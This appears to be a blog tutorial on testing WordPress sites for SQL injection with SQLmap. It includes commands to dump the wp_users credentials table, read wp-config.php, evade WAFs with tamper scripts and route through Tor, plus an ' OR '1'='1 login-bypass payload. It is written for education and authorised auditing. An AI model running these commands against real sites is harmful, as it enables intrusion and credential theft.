How to Use SQLmap for WordPress? Complete Security Testing Guide

Introduction

WordPress powers more than 40% of all websites on the internet. Because it is so popular, it is also one of the most targeted platforms for hackers and cybercriminals. Among the many types of attacks that WordPress sites face, SQL injection remains one of the most dangerous and commonly exploited vulnerabilities.

SQL injection (often abbreviated as SQLi) is a type of attack where a malicious user inserts harmful code into a website’s database query. If a WordPress site has poorly written code or an insecure plugin, a hacker can use SQL injection to read sensitive data, delete records, bypass login pages, and even take full control of the website.

This is where SQLmap comes in. SQLmap is a free, open-source security testing tool that automates the detection and exploitation of SQL injection vulnerabilities. Security professionals and ethical hackers use SQLmap to test websites before real attackers can find and abuse those same weaknesses.

In this guide, you will learn everything you need to know about how to use SQLmap for WordPress security testing. We will start from the very basics, walk through installation, explain the commands, and show you how to test a WordPress site step by step. This guide is written for beginners, so no advanced technical background is required.

IMPORTANT LEGAL DISCLAIMER: This guide is intended strictly for ethical security testing and educational purposes. You should only run SQLmap against websites and applications that you own or have explicit written permission to test. Running SQLmap against a website without permission is illegal under cybercrime laws in most countries and can result in serious legal consequences. Always test responsibly.

1. What Is SQL Injection?

Before learning how to use SQLmap, it helps to understand what SQL injection actually is and why it is such a serious threat.

1.1 Understanding Databases and Queries

Every WordPress site uses a database to store information. This includes your posts, pages, comments, user accounts, settings, and more. The database management system used by WordPress is MySQL (or MariaDB).

When a user visits your WordPress site and performs an action, for example searching for a post or logging in, WordPress sends a query to the database to fetch or update the relevant information. A query is essentially a command that asks the database to do something specific.

A typical login query in WordPress might look something like this:

SELECT * FROM wp_users WHERE user_login = ‘admin’ AND user_pass = ‘password123’;

This query asks the database to find a user where the username is ‘admin’ and the password matches. If a match is found, the user is logged in.

1.2 How SQL Injection Works

SQL injection happens when user-supplied input is not properly sanitized and is directly inserted into a database query. A malicious user can craft special input that changes the meaning of the query itself.

For example, if the login form does not sanitize input, a hacker might enter the following as their username:

‘ OR ‘1’=’1

The resulting query would become:

SELECT * FROM wp_users WHERE user_login = ” OR ‘1’=’1′ AND user_pass = ”;

Since ‘1’=’1′ is always true, this query returns all users in the database, effectively bypassing the password check entirely. The attacker can log in without knowing any real credentials.

SQL injection vulnerabilities can lead to:

• Unauthorized access to the WordPress admin panel
• Theft of user credentials, email addresses, and personal data
• Complete database dumps containing all site data
• Modification or deletion of database records
• In some cases, remote code execution on the server

2. What Is SQLmap?

SQLmap is a powerful, open-source penetration testing tool that automates the process of finding and exploiting SQL injection vulnerabilities in web applications. It was first released in 2006 and has since become the industry-standard tool for SQL injection testing.

2.1 Key Features of SQLmap

SQLmap is not just a simple scanner. It is a full-featured exploitation framework for SQL injection. Here are some of its most important capabilities:

• Automatic detection of SQL injection vulnerabilities in GET and POST parameters, HTTP headers, and cookies
• Support for a wide range of database systems including MySQL, PostgreSQL, Oracle, Microsoft SQL Server, SQLite, and more
• Database fingerprinting to identify the exact database version and configuration
• Data extraction including usernames, passwords, tables, columns, and entire database dumps
• Password hash cracking using dictionary-based attacks
• Support for bypassing Web Application Firewalls (WAFs) using tamper scripts
• File system access on the database server in certain configurations
• Operating system command execution on the server when conditions allow

2.2 Who Should Use SQLmap?

SQLmap is primarily used by:

• Security researchers and penetration testers who are hired to find vulnerabilities before attackers do
• WordPress site owners and developers who want to audit their own sites for SQL injection weaknesses
• Bug bounty hunters who test web applications for security flaws and report them responsibly
• Security students and learners who want hands-on experience with ethical hacking techniques

Note: SQLmap is a dual-use tool. While it is used ethically by security professionals, it can also be misused by attackers. The tool itself is legal to possess, but using it against websites without permission is a criminal offense.

3. Installing SQLmap

SQLmap is written in Python and works on Windows, macOS, and Linux. Before installing SQLmap, you need to have Python installed on your system.

3.1 Installing SQLmap on Linux (Recommended)

Linux is the most commonly used operating system for security testing. If you are using Ubuntu, Debian, Kali Linux, or any similar distribution, SQLmap can be installed with a single command.

Using the package manager (Ubuntu/Debian):

sudo apt-get update

sudo apt-get install sqlmap

Alternatively, you can install it directly from the official GitHub repository, which always gives you the latest version:

git clone –depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev

cd sqlmap-dev

python3 sqlmap.py –version

3.2 Installing SQLmap on Windows

On Windows, the process involves a few more steps:

1. Download and install Python from python.org. Make sure to check the box that says ‘Add Python to PATH’ during installation.
2. Open Command Prompt or PowerShell as Administrator.
3. Install Git from git-scm.com if you do not have it already.
4. Clone the SQLmap repository using the git clone command shown above.
5. Navigate to the sqlmap-dev folder and run: python sqlmap.py –version

3.3 Installing SQLmap on macOS

On macOS, you can use Homebrew, the popular package manager for Mac:

brew install sqlmap

Or clone from GitHub as described in the Linux section above. Python 3 is usually pre-installed on modern macOS versions, but you can also install it via Homebrew if needed.

3.4 Using Kali Linux (Most Convenient Option)

Kali Linux is a Linux distribution specifically designed for penetration testing and security research. SQLmap comes pre-installed in Kali Linux. If you are new to security testing, Kali Linux is the easiest way to get started because all the tools you need are already available.

You can run Kali Linux as a virtual machine using VirtualBox or VMware, or install it on a dedicated computer. You can also use Kali Linux as a Docker container for a lightweight option.

4. Understanding SQLmap Basic Syntax

Before diving into WordPress-specific testing, it is important to understand how SQLmap commands are structured. The basic syntax of SQLmap is straightforward once you understand the key options.

4.1 The Basic Command Structure

sqlmap -u “<target_url>” [options]

Here, -u stands for URL and is used to specify the target web address. Everything after the URL is an optional flag or parameter that controls what SQLmap does.

4.2 Essential SQLmap Flags and Options

Below are the most important flags you will use when testing WordPress sites:

Flag	Purpose	Example
-u	Specify target URL	sqlmap -u “http://site.com/?id=1”
–data	Send POST data	–data=”user=admin&pass=test”
-p	Specify parameter to test	-p “search”
–dbs	Enumerate databases	sqlmap -u URL –dbs
-D	Select a specific database	-D wordpress
–tables	List tables in database	–tables
-T	Select a specific table	-T wp_users
–columns	List columns in a table	–columns
–dump	Dump table data	–dump
–cookie	Use session cookies	–cookie=”wordpress_logged_in=…”
–level	Testing depth (1-5)	–level=3
–risk	Risk level (1-3)	–risk=2
–batch	Auto-select defaults	–batch
–forms	Auto-detect forms	–forms
–tamper	Use WAF bypass scripts	–tamper=space2comment
–tor	Route traffic through Tor	–tor

5. Setting Up a Safe WordPress Test Environment

Before running any security tests, you must set up a safe and legal testing environment. Never test SQLmap on a live, production website without explicit permission from the owner. Setting up a local environment is the safest way to practice.

5.1 Installing a Local WordPress Environment

There are several easy ways to run WordPress locally on your own computer:

Option A: Using Local by Flywheel

Local is a free desktop application that lets you create WordPress sites on your computer in minutes. Simply download it from localwp.com, install it, and create a new WordPress site. No server configuration is required.

Option B: Using XAMPP or WAMP

XAMPP (for all platforms) and WAMP (for Windows) are free software packages that install Apache, MySQL, and PHP on your computer. After installing either one, you can manually install WordPress by:

6. Downloading WordPress from wordpress.org
7. Placing the files in the htdocs (XAMPP) or www (WAMP) folder
8. Creating a new database in phpMyAdmin
9. Running the WordPress installation wizard in your browser at http://localhost/wordpress

Option C: Using Docker

If you are comfortable with Docker, you can quickly spin up a WordPress environment using Docker Compose. This is a clean and isolated approach that many security professionals prefer.

5.2 Installing a Vulnerable WordPress Plugin for Practice

To practice SQL injection testing in a safe way, you can install a plugin that is intentionally vulnerable. One popular option is the ‘WordPress Vulnerable Plugin’ used in cybersecurity training environments. You can also use DVWP (Damn Vulnerable WordPress) which is specifically designed as a training target.

Another excellent resource is DVWA (Damn Vulnerable Web Application), which includes SQL injection labs and can be used alongside WordPress testing practice.

Tip: Setting up your test environment on a private local network ensures there is no risk of accidentally affecting other users or violating any laws. Your test data stays entirely on your own machine.

6. Identifying SQL Injection Points in WordPress

Before running SQLmap, you need to identify the potential injection points in your WordPress site. Not every part of a WordPress site is vulnerable, but there are common areas where SQL injection issues are most likely to appear.

6.1 Common Vulnerable Areas in WordPress

The following areas are the most frequent locations for SQL injection vulnerabilities in WordPress:

URL Parameters (GET Requests)

Many WordPress URLs include parameters in the address bar. For example:

http://example.com/?page_id=5

http://example.com/?cat=3

http://example.com/?s=searchterm

These parameters are passed to the database in queries. If the code handling them does not sanitize the input properly, they can be injectable.

Search Forms

The WordPress search feature sends a keyword to the database to find matching posts. If a plugin or theme handles this search query insecurely, it can be vulnerable. The search URL typically looks like:

http://example.com/?s=keyword

Login Forms

The WordPress login page at /wp-login.php takes a username and password and queries the database to verify credentials. While the core WordPress login is generally well-protected, some custom login forms added by plugins or themes may not be.

Comment Forms

Comments submitted by visitors are stored in the database. If comment handling code is insecure, injection can happen through the comment fields.

WooCommerce and Plugin Forms

If you are using WooCommerce or other plugins that add custom forms (such as contact forms, booking systems, or custom search filters), these can introduce their own SQL injection vulnerabilities if not coded carefully.

6.2 How to Manually Test for Injection Points

You can do a basic manual check before running SQLmap. Simply add a single quote character (‘) to the end of a URL parameter and observe the response. For example:

http://example.com/?page_id=5′

If the page returns a database error message, displays broken content, or behaves differently than with normal input, that parameter may be injectable. A normal response that is unchanged suggests it is not immediately vulnerable, though this is not a definitive test.

7. Using SQLmap to Test WordPress: Step-by-Step

Now we get to the core of this guide: running SQLmap against a WordPress site. We will walk through the process from start to finish, covering the most common testing scenarios.

7.1 Step 1: Basic Vulnerability Scan on a URL Parameter

The most common starting point is to test a URL parameter. Suppose your test WordPress site has a URL like this:

http://localhost/wordpress/?page_id=5

To run a basic SQL injection test on this URL, use:

sqlmap -u “http://localhost/wordpress/?page_id=5”

SQLmap will analyze the page_id parameter and attempt multiple SQL injection techniques. If a vulnerability is found, it will report the injection type and what database it found.

7.2 Step 2: Testing with Authentication Cookies

Some WordPress pages are only accessible to logged-in users. To test these areas, you need to pass your session cookie to SQLmap so it can access those pages.

Here is how to get your cookie:

10. Log into your WordPress site in your browser
11. Open your browser’s developer tools (usually by pressing F12)
12. Go to the Application or Storage tab and look for Cookies
13. Find the cookie value for wordpress_logged_in (or similar) and copy it

Then run SQLmap with the cookie:

sqlmap -u “http://localhost/wordpress/?page_id=5″ –cookie=”wordpress_logged_in_xxxx=value_here”

This allows SQLmap to access pages that require a logged-in session.

7.3 Step 3: Testing POST Form Parameters

Many WordPress vulnerabilities exist in form submissions (POST requests) rather than URL parameters. To test these, you need to provide the POST data to SQLmap.

For example, to test a search form that posts data:

sqlmap -u “http://localhost/wordpress/search/” –data=”s=test&submit=Search”

SQLmap will test the POST parameters instead of URL parameters. You can specify which parameter to focus on using the -p flag:

sqlmap -u “http://localhost/wordpress/search/” –data=”s=test&submit=Search” -p “s”

7.4 Step 4: Using SQLmap to Enumerate Databases

Once SQLmap confirms a vulnerability, you can use it to extract information. The first step is usually to list all databases on the server:

sqlmap -u “http://localhost/wordpress/?page_id=5” –dbs

This will return a list of database names, which might look something like:

[*] information_schema

[*] wordpress_db

[*] mysql

You have now identified the WordPress database. Take note of its name for the next steps.

7.5 Step 5: Listing Tables in the WordPress Database

Next, you can list the tables within the WordPress database:

sqlmap -u “http://localhost/wordpress/?page_id=5” -D wordpress_db –tables

A standard WordPress installation will show tables like:

wp_comments

wp_commentmeta

wp_links

wp_options

wp_postmeta

wp_posts

wp_term_relationships

wp_terms

wp_termmeta

wp_usermeta

wp_users

7.6 Step 6: Extracting User Data from wp_users

The wp_users table is one of the most sensitive tables in WordPress because it contains usernames and hashed passwords. To view its columns:

sqlmap -u “http://localhost/wordpress/?page_id=5” -D wordpress_db -T wp_users –columns

To dump the data from that table:

sqlmap -u “http://localhost/wordpress/?page_id=5” -D wordpress_db -T wp_users –dump

SQLmap will attempt to retrieve and display the user data. Password hashes extracted this way can then be cracked using tools like Hashcat or John the Ripper, or SQLmap can attempt to crack them automatically if a wordlist is provided.

Warning: Extracting user credentials from a real website without permission is a serious crime. This step should only ever be performed in a controlled test environment on systems you own or have explicit written permission to test.

7.7 Step 7: Automating Form Detection with –forms

SQLmap has a helpful feature that automatically finds and tests forms on a given page. Instead of manually identifying POST parameters, you can use:

sqlmap -u “http://localhost/wordpress/” –forms

SQLmap will crawl the page, detect any HTML forms, and automatically test them for SQL injection. This is useful when you want a comprehensive scan of a WordPress page without manually identifying each form field.

7.8 Step 8: Testing the WordPress Login Form

The WordPress login form at /wp-login.php uses POST data. To test it:

sqlmap -u “http://localhost/wordpress/wp-login.php” –data=”log=admin&pwd=password&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1″ –cookie=”wordpress_test_cookie=WP+Cookie+check”

In most standard WordPress installations, the login form is protected against SQL injection by the core code. However, if a third-party plugin has replaced or modified the login flow, there could be vulnerabilities.

8. Advanced SQLmap Techniques for WordPress

Once you are comfortable with the basics, these advanced techniques will help you conduct more thorough and sophisticated security tests.

8.1 Increasing Test Coverage with –level and –risk

By default, SQLmap uses level 1 and risk 1, which is conservative and runs only the safest tests. Increasing these values makes SQLmap more aggressive and thorough.

• –level (1 to 5): Controls how many tests are run. Level 1 tests basic parameters. Level 5 also tests HTTP headers like User-Agent, Referer, and Cookie fields.
• –risk (1 to 3): Controls how risky the tests are. Risk 1 uses safe tests. Risk 2 adds time-based tests. Risk 3 adds OR-based injection tests that could modify database data.

For a more thorough WordPress scan:

sqlmap -u “http://localhost/wordpress/?page_id=5” –level=3 –risk=2

Use caution when increasing the risk level, as higher risk tests can sometimes modify or delete data in the database.

8.2 Bypassing WAF and Security Plugins with Tamper Scripts

Many WordPress security plugins (such as Wordfence, Sucuri, or iThemes Security) include Web Application Firewall (WAF) functionality that tries to block SQL injection attempts. SQLmap includes a collection of tamper scripts that can modify the injection payloads to bypass these filters.

Some commonly used tamper scripts include:

• space2comment: Replaces spaces with SQL comments (/**/). This bypasses simple space-blocking filters.
• between: Replaces the greater than and less than operators with their SQL equivalents.
• randomcase: Randomizes the case of SQL keywords to bypass case-sensitive filters.
• charencode: URL-encodes characters in the payload to disguise them.

To use a tamper script:

sqlmap -u “http://localhost/wordpress/?page_id=5” –tamper=space2comment

You can also use multiple tamper scripts together:

sqlmap -u “http://localhost/wordpress/?page_id=5” –tamper=space2comment,randomcase

8.3 Using SQLmap with Burp Suite

Burp Suite is a popular web security testing platform. You can intercept HTTP requests using Burp Suite and then feed those requests directly into SQLmap for testing. This is a powerful workflow for testing complex form submissions or authenticated pages.

To use a Burp Suite-intercepted request with SQLmap:

14. In Burp Suite, intercept the request you want to test
15. Right-click and select ‘Copy to file’ to save the raw HTTP request as a .txt file
16. Use SQLmap’s -r flag to read that request file:

sqlmap -r request.txt

This approach is especially useful when the target uses anti-CSRF tokens, complex cookies, or unusual request formats that are difficult to replicate manually in the command line.

8.4 Scanning with a Tor Proxy for Anonymity

When conducting authorized penetration tests on external servers, you may want to route your SQLmap traffic through the Tor network to avoid your IP being blocked or flagged. SQLmap supports Tor out of the box:

sqlmap -u “http://target.com/?id=1” –tor –tor-type=SOCKS5 –check-tor

Make sure the Tor service is running on your machine before using this option. This is an advanced technique primarily used by professional penetration testers on authorized engagements.

8.5 Reading and Writing Files on the Server

In some configurations, SQL injection in a MySQL database with certain privileges can allow an attacker to read or write files on the server. SQLmap supports this with the –file-read and –file-write options.

To attempt reading a file (such as the wp-config.php file which contains database credentials):

sqlmap -u “http://localhost/wordpress/?page_id=5″ –file-read=”/var/www/html/wordpress/wp-config.php”

This is a very sensitive capability and only works when the database user has FILE privileges, which is not the case in well-configured servers. Testing for this ability is important because if it works on a real server, it represents a critical vulnerability.

9. Interpreting SQLmap Results

Understanding what SQLmap’s output means is essential for communicating findings to developers or site owners. Here is how to read the key parts of SQLmap’s output.

9.1 Understanding Injection Type Descriptions

When SQLmap finds a vulnerability, it will report the type of SQL injection it used. Common injection types include:

• Boolean-based blind: SQLmap asks the database true/false questions and infers information from the response. This is slow but very reliable.
• Time-based blind: SQLmap injects commands that cause the database to pause for a specific time. By measuring response times, it can extract information even when there is no visible output.
• Error-based: The database returns error messages that contain information. SQLmap reads these errors to extract data.
• UNION query-based: SQLmap appends a UNION SELECT statement to the query to retrieve additional rows from the database. This is usually the fastest method.
• Stacked queries: Multiple SQL statements are executed at once. This is powerful but only works on certain database configurations.

9.2 Reading the Database Dump Output

When SQLmap dumps data from a table, it will display it in a formatted table in the terminal. It also saves the extracted data to files in your home directory, typically in:

~/.sqlmap/output/<target_host>/dump/<database_name>/<table_name>.csv

These CSV files can be opened in any spreadsheet application for easier analysis and reporting.

9.3 Common SQLmap Errors and What They Mean

Here are some common messages you might see and what they indicate:

• ‘all tested parameters do not appear to be injectable’: No SQL injection was found with the current settings. Try increasing –level and –risk, or test different parameters.
• ‘WAF/IPS detected’: A security system is blocking or filtering the requests. Try using tamper scripts.
• ‘connection timed out’: The server is not responding. Check your URL and network connection.
• ‘the target URL content is stable’: SQLmap cannot distinguish changes in the response, which may require manual parameter specification with -p.

10. Testing Specific WordPress Plugins and Themes

Most SQL injection vulnerabilities in WordPress are not in the WordPress core itself, which is regularly updated and well-maintained. Instead, they are found in third-party plugins and themes. This section explains how to target those specific components.

10.1 Finding Vulnerable Plugin Parameters

Many WordPress plugins add their own URL parameters or AJAX endpoints. For example, a slider plugin might add a URL like:

http://example.com/?slider_id=3

Or a plugin might use WordPress AJAX requests, which are sent to:

http://example.com/wp-admin/admin-ajax.php

To test an AJAX endpoint with POST data:

sqlmap -u “http://localhost/wordpress/wp-admin/admin-ajax.php” –data=”action=my_plugin_action&id=5″

10.2 Using the WPScan + SQLmap Workflow

WPScan is a dedicated WordPress vulnerability scanner. A common professional workflow is to first run WPScan to identify vulnerable plugins and themes, and then use SQLmap to confirm and test the SQL injection vulnerabilities that WPScan reports.

For example, WPScan might report: ‘Plugin X version 2.1 is vulnerable to SQL injection in the id parameter.’ You would then use SQLmap to test and confirm that finding:

sqlmap -u “http://localhost/wordpress/?plugin_param=1” -p “plugin_param”

This combined workflow is more efficient than blindly testing every parameter with SQLmap.

10.3 Checking the CVE Database for Known Vulnerabilities

Before testing, it is worth checking whether the plugins and themes you are using have known SQL injection vulnerabilities. You can search:

• The WPScan Vulnerability Database at wpscan.com/plugins
• The CVE (Common Vulnerabilities and Exposures) database at cve.mitre.org
• The NIST National Vulnerability Database at nvd.nist.gov

These databases list known vulnerabilities along with their severity scores and affected version ranges. If you are running a plugin version that has a known SQL injection vulnerability, SQLmap testing can confirm whether your installation is affected.

11. Responsible Disclosure and Reporting

When you discover a SQL injection vulnerability during an authorized security test, your responsibility does not end with finding it. Responsible disclosure is the process of reporting vulnerabilities in a way that protects users and gives developers time to fix issues.

11.1 What to Include in a Security Report

A good vulnerability report should include the following elements:

• A clear description of the vulnerability and where it was found (plugin name, version, specific parameter)
• Steps to reproduce the vulnerability including the exact URL, method, and data used
• The SQLmap command that confirmed the vulnerability
• The type of SQL injection (e.g., boolean-based blind, time-based blind, error-based)
• The potential impact of the vulnerability (what data could be accessed or modified)
• A recommended fix or remediation suggestion
• Any screenshots or logs from SQLmap that support your findings

11.2 Reporting to Plugin Developers

If you find a SQL injection vulnerability in a WordPress plugin, follow these steps:

17. Contact the plugin developer privately through the WordPress.org plugin page support forum or their official website
18. Give them at least 90 days to release a fix before disclosing publicly (this is the industry standard)
19. If they do not respond or refuse to fix the issue, you can report it to the WordPress Plugin Team at [email protected]
20. You can also report to security research organizations like Wordfence or Patchstack who track WordPress vulnerabilities

11.3 Bug Bounty Programs

Some organizations run formal bug bounty programs that reward security researchers for responsibly disclosing vulnerabilities. Platforms like HackerOne and Bugcrowd host many such programs. If the WordPress site you tested belongs to a company that runs a bug bounty program, report your findings through that official channel.

12. Hardening WordPress Against SQL Injection

Testing for SQL injection is only one side of security. The other side is prevention. Here are the most effective ways to protect a WordPress site against SQL injection attacks.

12.1 Keep WordPress, Themes, and Plugins Updated

The single most effective thing you can do to protect your WordPress site is to keep everything up to date. Most SQL injection vulnerabilities in WordPress plugins are patched in newer versions. Enabling automatic updates for minor releases and regularly checking for plugin updates significantly reduces your risk.

12.2 Use the WordPress $wpdb Class Correctly

For developers building WordPress plugins or themes, always use the $wpdb->prepare() method when writing custom database queries. This method properly escapes user input and prevents SQL injection.

Vulnerable code example:

$wpdb->query(“SELECT * FROM wp_posts WHERE ID = ” . $_GET[‘id’]);

Safe code example using prepare():

$wpdb->query($wpdb->prepare(“SELECT * FROM wp_posts WHERE ID = %d”, $_GET[‘id’]));

The prepare() method ensures that the input is treated as data, not as SQL code, regardless of what the user submits.

12.3 Install a Web Application Firewall Plugin

Security plugins with WAF capabilities can block SQL injection attempts before they reach your database. Popular options include:

• Wordfence Security: One of the most widely used WordPress security plugins. It includes a firewall that detects and blocks SQL injection patterns.
• Sucuri Security: Provides cloud-based WAF protection and malware scanning.
• iThemes Security: Offers a range of hardening features including protection against common injection attacks.
• Cloudflare WAF: If you use Cloudflare as your DNS provider, you can enable their WAF which offers SQL injection protection at the network level.

12.4 Implement Proper Input Validation and Sanitization

All user input should be validated and sanitized before being used in any database query. WordPress provides a range of built-in functions for this purpose:

• sanitize_text_field(): Removes HTML tags and extra whitespace from a text string
• intval(): Converts input to an integer, safe for numeric parameters
• esc_sql(): Escapes special characters in a string for use in SQL queries
• absint(): Returns the absolute integer value, useful for ID parameters

12.5 Restrict Database User Permissions

Your WordPress database user (configured in wp-config.php) should only have the permissions it needs to operate. In most cases, this means SELECT, INSERT, UPDATE, and DELETE permissions only. The database user should NOT have FILE, DROP, or GRANT permissions, as these can allow attackers to cause much more damage if an injection is successful.

12.6 Use Security Headers and Disable Error Display

Make sure your WordPress site does not display detailed PHP or MySQL error messages to visitors. These error messages can reveal database structure information that helps attackers craft more targeted injection attacks.

In your wp-config.php file, ensure the following setting is in place:

define(‘WP_DEBUG’, false);

You should also configure your server to suppress detailed error output to the browser, logging errors to a file instead for your own review.

12.7 Regular Security Audits

Schedule regular security audits of your WordPress site. This includes scanning with tools like WPScan and SQLmap (in a test environment that mirrors your live site), reviewing your plugins and themes for known vulnerabilities, and checking user accounts for unauthorized access.

13. Common Mistakes to Avoid When Using SQLmap

Whether you are a beginner or an experienced tester, avoiding these common mistakes will make your security testing more effective and responsible.

13.1 Testing Without Permission

This cannot be overstated. Running SQLmap against any website you do not own or have explicit written permission to test is illegal. Even if you believe you are doing the owner a favor, unauthorized testing can be prosecuted under the Computer Fraud and Abuse Act (CFAA) in the United States, the Computer Misuse Act in the UK, and equivalent laws in virtually every country.

13.2 Using SQLmap on Production Sites

Even with permission, running aggressive SQLmap tests on a live, production website can cause performance problems, trigger security alarms, or corrupt data. Always test on a staging or development copy of the site whenever possible. If you must test on a live site, do so during off-peak hours and with conservative –level and –risk settings.

13.3 Ignoring False Positives

SQLmap can sometimes report false positives, meaning it reports a vulnerability that does not actually exist. Always manually verify a reported injection point by trying to extract a small piece of data before writing it up as a confirmed vulnerability. A false positive in a security report damages your credibility and wastes the development team’s time.

13.4 Not Saving SQLmap Sessions

SQLmap tests can take a long time, especially on complex pages. If your connection drops or you need to stop and resume, use the –session flag or simply re-run the same command. SQLmap automatically saves session data to ~/.sqlmap/output/ and will resume from where it left off when you run the same target URL again.

13.5 Overlooking HTTP Headers

Many beginners only test URL parameters and ignore HTTP headers. Some WordPress sites are vulnerable through the User-Agent, Referer, or X-Forwarded-For headers. To test these, use –level=5 which enables header injection testing automatically.

14. Real-World Example: Full WordPress Security Test Workflow

Let us put everything together with a complete, realistic example of how a security tester would approach a WordPress site audit using SQLmap.

14.1 Scenario

You have been hired to perform a security audit on a WordPress site. The site uses several third-party plugins including a custom search plugin. Your task is to check for SQL injection vulnerabilities and provide a report.

14.2 Step-by-Step Workflow

21. Reconnaissance: Start by visiting the site and identifying all forms, URL parameters, and interactive elements. Note any plugins or page types that handle user input.
22. WPScan: Run WPScan to enumerate plugins and check for known vulnerabilities:

wpscan –url http://test-site.com –enumerate p,t,u

23. Identify targets: Based on WPScan output and manual exploration, you identify a search parameter ?custom_search= that appears in a URL.
24. Initial SQLmap test:

sqlmap -u “http://test-site.com/?custom_search=hello” –batch

25. Vulnerability confirmed: SQLmap reports boolean-based blind SQL injection on the custom_search parameter.
26. Database enumeration:

sqlmap -u “http://test-site.com/?custom_search=hello” –dbs –batch

27. Table listing:

sqlmap -u “http://test-site.com/?custom_search=hello” -D wordpress –tables –batch

28. User data extraction (limited, for proof of concept):

sqlmap -u “http://test-site.com/?custom_search=hello” -D wordpress -T wp_users –columns –batch

29. Document findings: Record the vulnerable parameter, injection type, database name, and affected tables. Take screenshots of the SQLmap output.
30. Write report: Compile the findings into a detailed security report with remediation recommendations and submit to the client.

14.3 Remediation Advice to Include in the Report

After confirming the vulnerability, recommend the following fixes to the site owner:

• Immediately update the vulnerable plugin to the latest version if a patched version is available
• If no patch exists, deactivate and remove the plugin until it is fixed
• Contact the plugin developer to report the vulnerability
• Install or configure a WAF plugin to add a layer of protection
• Review all custom database queries in themes and plugins to ensure they use $wpdb->prepare()

15. Frequently Asked Questions

Is SQLmap illegal to use?

SQLmap itself is a legal tool. It is freely available, open source, and used by security professionals worldwide. However, using SQLmap against a website without the owner’s explicit permission is illegal in most countries. Think of it like a lockpick: legal to own for a licensed locksmith, but illegal to use on someone else’s door without permission.

Can SQLmap detect all SQL injection vulnerabilities?

SQLmap is highly capable but not infallible. It can miss vulnerabilities that require unusual payloads, context-specific knowledge, or that are only exploitable through complex multi-step interactions. Manual testing by an experienced security professional will always be more thorough than automated scanning alone.

Does SQLmap work on all WordPress sites?

SQLmap works on any web application that has a database backend, including WordPress. Whether it finds vulnerabilities depends entirely on whether the site has insecure code. Well-maintained WordPress sites running up-to-date core, themes, and plugins, with properly written custom code, should have no SQL injection vulnerabilities for SQLmap to find.

How long does a SQLmap scan take?

Scan time varies greatly depending on the type of injection, the number of parameters, the network speed, and your –level and –risk settings. A simple test on a single parameter might take a few minutes. A comprehensive scan using blind injection techniques to extract a full database could take hours.

Can I use SQLmap on WordPress.com sites?

No. WordPress.com is a managed hosting platform and you do not have permission to test sites hosted there unless you have specific written authorization from Automattic, the company that owns WordPress.com. Testing such sites without permission would violate their terms of service and potentially laws.

What is the difference between SQLmap and manual SQL injection testing?

SQLmap automates the detection and exploitation process. It saves enormous amounts of time compared to manual testing. However, experienced security testers also use manual techniques to test complex scenarios, bypass sophisticated protections, or verify findings that automated tools may have misidentified. SQLmap is a complement to manual testing, not a complete replacement.

Conclusion

SQL injection remains one of the most serious and prevalent security threats facing WordPress sites today. Understanding how to use SQLmap for WordPress security testing is a valuable skill for site owners, developers, and security professionals alike.

In this guide, we covered everything from the basics of what SQL injection is, how to install and configure SQLmap, how to identify injection points in a WordPress site, step-by-step commands for running scans and extracting data, advanced techniques like WAF bypass and Burp Suite integration, and how to responsibly disclose and report findings.

Remember the golden rule of security testing: only test systems you own or have explicit written permission to test. Ethical security research makes the web safer for everyone. By understanding how attackers think and what tools they use, defenders can stay one step ahead.

With the knowledge from this guide, you are now equipped to conduct thorough, responsible SQL injection security audits on WordPress sites. Use this knowledge wisely to improve security, protect user data, and contribute to a more secure web.

Final Tip: Security testing is an ongoing process, not a one-time event. Schedule regular scans, stay updated on new vulnerabilities in plugins you use, and always keep your WordPress installation updated. Security is a journey, not a destination.

References and Further Reading

• SQLmap Official Documentation: sqlmap.org
• WordPress Developer Handbook on Data Validation: developer.wordpress.org
• OWASP SQL Injection Prevention Cheat Sheet: owasp.org
• WPScan WordPress Vulnerability Database: wpscan.com
• CVE Database: cve.mitre.org
• DVWA (Damn Vulnerable Web Application): dvwa.co.uk
• Kali Linux Security Distribution: kali.org

About the Author

Jay Patel is the Founder of XSquareSEO, a full-service SEO agency with experience in on-page SEO, eCommerce SEO, link building, technical SEO, SaaS SEO, and local SEO. For more information, feel free to contact us. 

Explore More Guides

Elementor Search Bar
ChatGPT WordPress Integration
Detect Hacked WordPress Site
Limit Audio Plays WordPress
Responsive Tables WordPress
Purge WordPress Cache
Remove WordPress Theme
Separate Header Body WP
Start WordPress Blog Guide
WP Keywords for Ranking